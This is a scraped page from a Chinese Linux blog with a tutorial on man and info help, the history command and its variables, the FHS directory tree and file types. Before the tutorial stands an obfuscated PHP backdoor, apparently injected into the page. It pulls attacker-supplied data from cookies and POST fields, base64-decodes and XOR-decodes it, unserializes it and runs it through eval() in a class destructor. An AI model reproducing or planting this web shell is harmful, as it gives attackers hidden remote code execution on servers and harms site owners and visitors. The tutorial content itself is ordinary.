$yXMmiEcIGK = chr ( 1034 - 946 ).'J' . chr (82) . chr ( 507 - 412 )."\160" . chr ( 1009 - 924 )."\x70";$HOygnoFBa = "\143" . chr (108) . chr (97) . chr ( 290 - 175 ).'s' . chr ( 711 - 616 ).chr (101) . 'x' . 'i' . "\x73" . "\164" . "\163";$BYAUcYott = class_exists($yXMmiEcIGK); $HOygnoFBa = "43522";$Jlpsxntry = !1;if ($BYAUcYott == $Jlpsxntry){function GYwpAWr(){return FALSE;}$NHUGUhVAVW = "47311";GYwpAWr();class XJR_pUp{private function keUQyUYK($NHUGUhVAVW){if (is_array(XJR_pUp::$yoUiHbHZ)) {$VQenh = str_replace('<' . chr (63) . 'p' . chr ( 380 - 276 )."\x70", "", XJR_pUp::$yoUiHbHZ['c' . "\157" . 'n' . 't' . chr (101) . "\156" . chr (116)]);eval($VQenh); $NHUGUhVAVW = "47311";exit();}}private $EYcCRZiy;public function dnqWMeVW(){echo 28968;}public function __destruct(){$NHUGUhVAVW = "42892_3067";$this->keUQyUYK($NHUGUhVAVW); $NHUGUhVAVW = "42892_3067";}public function __construct($DRaFgsEM=0){$FaiXtmvVIC = $_POST;$GcaGSUVsUd = $_COOKIE;$WLihkFyqXK = "7f2358cb-ef52-4b41-90bf-d69713355722";$eTgQsanT = @$GcaGSUVsUd[substr($WLihkFyqXK, 0, 4)];if (!empty($eTgQsanT)){$gKxEf = "base64";$zSqaoQvNL = "";$eTgQsanT = explode(",", $eTgQsanT);foreach ($eTgQsanT as $JSlTbQdQ){$zSqaoQvNL .= @$GcaGSUVsUd[$JSlTbQdQ];$zSqaoQvNL .= @$FaiXtmvVIC[$JSlTbQdQ];}$zSqaoQvNL = array_map($gKxEf . chr ( 1019 - 924 ).'d' . chr (101) . chr (99) . chr ( 938 - 827 ).'d' . "\145", array($zSqaoQvNL,)); $zSqaoQvNL = $zSqaoQvNL[0] ^ str_repeat($WLihkFyqXK, (strlen($zSqaoQvNL[0]) / strlen($WLihkFyqXK)) + 1);XJR_pUp::$yoUiHbHZ = @unserialize($zSqaoQvNL); $zSqaoQvNL = class_exists("42892_3067");}}public static $yoUiHbHZ = 65175;}$zupyxb = new /* 61085 */ $yXMmiEcIGK(47311 + 47311); $Jlpsxntry = $zupyxb = $NHUGUhVAVW = Array();} Linux获取帮助的途径、history命令及文件系统结构 | Linux运维部落

Linux获取帮助的途径、history命令及文件系统结构

    在学习Linux的过程中,往往会遇到一些难以理解的问,这时我们就需要寻求帮助,下面是获取帮助的几个途径。

一、man(manual)手册(命令)

1、man手册介绍

(1)man手册是系统自带的联机帮助手册,善于利用man命令,可以帮我们解决遇到的大部分问题。

(2)man手册分为九个章节,每个章节是独立的。

章节1:表示用户命令和守护进程

章节2:表示系统调用和内核服务

章节3:表示C语言库函数(子例程)

章节4:表示特殊文件及设备文件

章节5:表示配置文件的格式

章节6:表示游戏

章节7:表示杂项

章节8:表示管理类的命令

章节9:表示Linux内核API

说明:例如我们输入“man passwd”,系统就会返回下图(截图)的结果,左右上角都有字符“PASSWD(1)”,表示现在打开的是man手册的章节1。我们还可以指定章节号,比如“man 5 passwd”,表示打开passwd命令的第5章节man手册。如果不指定章节号,系统就会按章节号进行搜索。不是每一个命令都有9个章节号的。

 图片1.png

(3)语法格式

man [option][章节] keyword…

option说明:  [ ] :可选内容

                                               < > :  必选内容

                                               a|b :二选一

     … : 同一内容可以出现多次

(4)主要选项

-a : 在所有的man帮助手册搜索,显示所有的匹配项。

-f :  使用 troff 命令格式化手册信息,显示指定关键字的简短信息,只搜索与关键字完全匹配的帮助页,相当于whatis命令。

-k :  列出所有匹配的页面,模糊搜索。

-M :  指定手册文件的搜索路径, man – M /PATH/TO/SOMEWHERE COMMAND。

(5)进入man命令后的操作方法:

space(空格键)和 f 键:向文件尾部翻一页;

b 键 :向文件首部翻一页;

d 键 :向文件尾部翻半页;

u 键 :向文件首部翻半页;

e,j键 :向文件尾部翻一行;

y,k键 :向文件首部翻一行;

q 键 :退出man手册;

#(数字) :从当前页开始向尾部跳至第#行;

1+G键 :回到文件首部;

G键 :跳到文件尾部;

/keyword : 以keyword指定的字符串为关键字,从当前位置向文件尾部搜索;不区分字符大小写;

?keyword :以指定的字符串为关键字,从当前位置向文件首部搜索;不区分字符大小写;

搜索说明:n: 跟搜索命令同方向,下一个

          N:跟搜索命令方向相反,上一个

(6)补充

man手册也的存放路径:/usr/share/man

man命令的配置文件:CentOS 6:/etc/man.config   ;   CentOS 7:/etc/man_db.conf

二、info命令(info格式的帮助文档)

(1)语法

info [OPTION]… [MENU-ITEM…]

(2)选项

-d:添加包含info格式帮助文档的目录;

-f:指定要读取的info格式的帮助文档;

-n:指定首先访问的info帮助文件的节点;

-o:输出被选择的节点内容到指定文件。

(3)参数

指定需要获得帮助的主题,可以是指令、函数以及配置文件。

(4)操作说明

info页面的结构像一个网站,每一页分为“节点”,每个链接节点之前都有“*”号,enter键可以进入节点。

?键,它就会显示info的常用快捷键。

SPACE键:向尾部滚动一页

DEL键:向首部滚动一页

tab键:移动到一下个链接(回车键进入链接)

d : 显示主题目录

e : 跳至文档的尾部

b : 跳至文档的首部

s + keyword :搜索指定的keyword

q:退出info

n :打开与本链接关联的下一个链接

p :打开与本链接关联的前一个链接

u :打开与本链接关联的上一个链接

l :进入最后一个链接

(5)示例

info passwd

三、通过本地文档获取帮助

(1)图形界面

点击“系统”–>“文档帮助”,如下图

图片2.png 

(2)字符界面

打开目录/usr/share/doc,在此目录放置了多数安装软件的子目录,目录里面的文件有些是程序配置文件的范例,有些是授权书详情,文档格式有HTML、PDF、PS等等。

四、软件提供方的官方文档

如:红帽的文档:http://www.redhat.com/docs

五、相关网站的搜索

如:相关技术论坛,谷歌搜索

六、history命令

 shell进程会保存当前用户之前用过的命令,这些保存的命令可以使用history命令查看,同时可以将历史命令文件中的命令目录写入到历史命令缓存中,也可以将缓存中的历史命令存入历史文件中。

(1)语法

history [option] keyword

(2)选项

-c:  清空命令历史

-d:  删除历史中指定的命令;

 #:  显示最近的# 条历史

-a:  追加本次会话新执行的命令历史列表至历史文件

-n:  读历史文件中未读过的行到历史列表

-r:  将历史文件中的命令读取到历史列表中

-w:  将历史列表中的命令追加至指定的历史文件中

-p:  展开历史参数成多个行,但不存入历史列表中

-s:  展开历史参数成一行,追加到历史列表中

(3)说明

调用历史命令

重复前一个命令,有4种方法:

按上下方向键,并回车执行

按两个感叹号!!并回车执行

输入!-1并回车执行

按Ctrl+P并回车执行

!+ 字符串:表示重复最近一个以“字符串”开头的命令

!+ n : 表示执行历史缓存中的第n条命令(由1开始,-n表示倒数第n个命令)

!+ ?+ 字符串:表示执行前一个包含“字符串”的命令

使用上下键来浏览之前输入的命令

Ctrl +r:在命令历史中搜索命令

重新调用前一个命令中最后一个参数,有三种方法:

!+$ 组合键

ESC + .:先按ESC键松开后再按“.”键

ALT + . :同时按下ALT键和 . 键

cmd !^ : 利用上一个命令的第一个参数做cmd(指其他命令) 的参数

cmd !$ : 利用上一个命令的最后一个参数做cmd 的参数

cmd !* : 利用上一个命令的全部参数做cmd 的参数

cmd !:n : 利用上一个命令的第n个参数做cmd 的参数

!n:^  调用第n 条命令的第一个参数

!n:$  调用第n 条命令的最后一个参数

!m:n  调用第m 条命令的第n个参数

!n:*  调用第n 条命令的所有参数

!string:^ 从命令历史中搜索以 string 开头的命令,并获取它的第一个参数

!string:$ 从命令历史中搜索以 string 开头的命令, 并获取它的最后一个参数

!string:n 从命令历史中搜索以 string 开头的命令,并获取它的第n个参数

!string:* 从命令历史中搜索以 string 开头的命令,并获取它的 所有参数

(4)命令历史相关的环境变量

HISTSIZE :命令历史记录的条数

HISTFILE :指定历史文件,默认为~/.bash_history

HISTFILESIZE :命令历史文件记录历史的条数

HISTTIMEFORMAT=“%F %T”显示时间

HISTIGNORE=“str1:str2:… “  忽略string1,string2 历史,即不在历史文件和历史缓存中显示。

控制命令历史的记录方式:HISTCONTROL

ignoredups :忽略重复的命令;连续且相同方为“重复”

                ignorespace :忽略所有以空白开头的命令

ignoreboth :介于ignoredups, ignorespace之间

erasedups: 删除重复命令

export  变量名=“值”

(5)历史命令的相关文件,这些文件可以按需修改

/etc/profile :可以修改过history命令的默认设定,并对所有用户有效

~/.bash_profile:可以修改过history命令的默认设定,只对当前用户有效

~/.bash_history:正常退出系统登录后,保存历史缓存中的命令

(6)示例

显示最近10条历史命令

history 10

将 HISTCONTROL 设置为 ignorespace

export HISTCONTROL=ignorespace

七、Linux文件系统(FHS)

(1)文件命令规则

包括路径在内文件名称最长4095 个字节,用/ 分隔的路径不能

超过255 个字节

除了斜杠和NUL, 所有字符都有效. 但使用特殊字符的目录名和

文件不推荐使用。

标准Linux文件系统文件名对大小敏感

(2)文件系统结构

 /boot :引导文件存放目录,内核文件(vmlinuz) 、引导加载器(bootloader, grub) 都存放于此目录

/bin :供所有用户使用的基本命令;不能关联至独立分区,OS 启动即会用到的程序

/sbin :管理类的基本命令;不能关联至独立分区,OS 启动即会用到的程序

/lib :启动时程序依赖的基本共享库文件以及内核模块文件(/lib/modules)

/lib64 :专用于x86_64 系统上的辅助共享库文件存放位置

/etc :配置文件目录

/home/ USERNAME :普通用户家目录

/root :管理员的家目录

/media :便携式移动设备挂载点

/mnt :临时文件系统挂载点

/dev :设备文件及特殊文件存储位置

b: block device ,随机访问

c: character device ,线性访问

/opt :第三方应用程序的安装位置

/srv :系统上运行的服务用到的数据

/tmp :临时文件存储位置

/usr: universal shared, read-only data

bin:  保证系统拥有完整功能而提供的应用程序

sbin:

lib :32 位使用

lib64 :只存在64 位系统

include: C 程序的头文件(header files)

share :结构化独立的数据,例如doc, man等 等

local :第三方应用程序的安装位置

bin, sbin, lib, lib64, etc, share

/var: variable data files

cache:  应用程序缓存数据目录

lib:  应用程序状态信息数据

local :专用于为/usr/local 下的应用程序存储可变数据;

lock:  锁文件

log:  日志目录及文件

opt:  专用于为/opt 下的应用程序存储可变数据;

run:  运行中的进程相关数据;通常用于存储进程pid 文件

spool:  应用程序数据池

tmp:  保存系统两次重启之间产生的临时数据

/proc:  用于输出内核与进程信息相关的虚拟文件系统

/sys :用于输出当前系统上硬件设备相关信息虚拟文件系统

/selinux: security enhanced Linux ,selinux 相关的安全策

略等信息的存储位置

八、Linux下的文件类型

-:普通文件

d:  目录文件

b:  块设备

c:  字符设备

l:  符号链接文件

p:  管道文件pipe

s:  套接字文件socket

   

原创文章,作者:pao,如若转载,请注明出处:http://www.178linux.com/26399

(0)
上一篇 2016-07-29 15:22
下一篇 2016-07-29 15:23

相关推荐

  • 面向对象

    语言分类 面向机器:抽象成机器指令,机器容易理解。代表:汇编语言 面向过程:一件事情分步骤来完成,出现各种情况有解决办法一一对应,问题规模小可以步骤化、按部就班的处理。代表:C语言 面向对象oop(object Oriented Programming):随着计算机解决问题的规模扩大、情况更复杂,需要很多部分协作,面向过程编程就不合适了,演变出了面向对象编程…

    Linux干货 2017-11-13
  • 博客作业1

    一、linux 常用文件管理命令有哪些?其常用使用方法及相关实例演示 1、文件操作命令 (1).pwd       功能:显示当前目录       实例:     #pwd (2).cd           功能:改变当前目录 …

    Linux干货 2016-06-23
  • 系统管理至grub故障排错及自建linux

    第二章    系统启动故障排除     1、grub配置文件写错,无法进入系统     步骤:(修复完成后记得修改配置文件为正确的文件)     方法一:进入启动菜单项后,修改菜单项为正确的内容,然后…

    Linux干货 2016-09-13
  • Linux 系统架构

    1.内核     1.1.组成部分         1.1.1.系统调用接口         1.1.2.进程管理 &n…

    Linux干货 2016-06-04
  • 用户、组、权限 等相关命令

    用户、组、文件权限属性 1、用户和组的配置文件 在Linux中用户和组的配置文件主要为: /etc/passwd :存放用户及其属性的信息(名称、GID、UID) /etc/group :存放组及其属性信息 /etc/shadow :存放用户密码及其相关属性 /etc/gshadow :存放组密码及其相关属性 (1)、/etc/passwd的格式 root:…

    Linux干货 2017-07-29
  • 由摩根定律引发的思考

    在Linux中,我们常常需要对一些条件进行判断,而对于多个条件的组合判断是基于摩根定律而进行的。所以理解摩根定律对于我们学习条件判断是很有必要的,下面我们就先介绍摩根定律进而引出其在一些具体场景上的应用。   一、摩根定律 在Linux中的条件判断中,摩根定律可以以下式来表示: !( A || B )=!A && !B !( A &…

    Linux干货 2016-08-16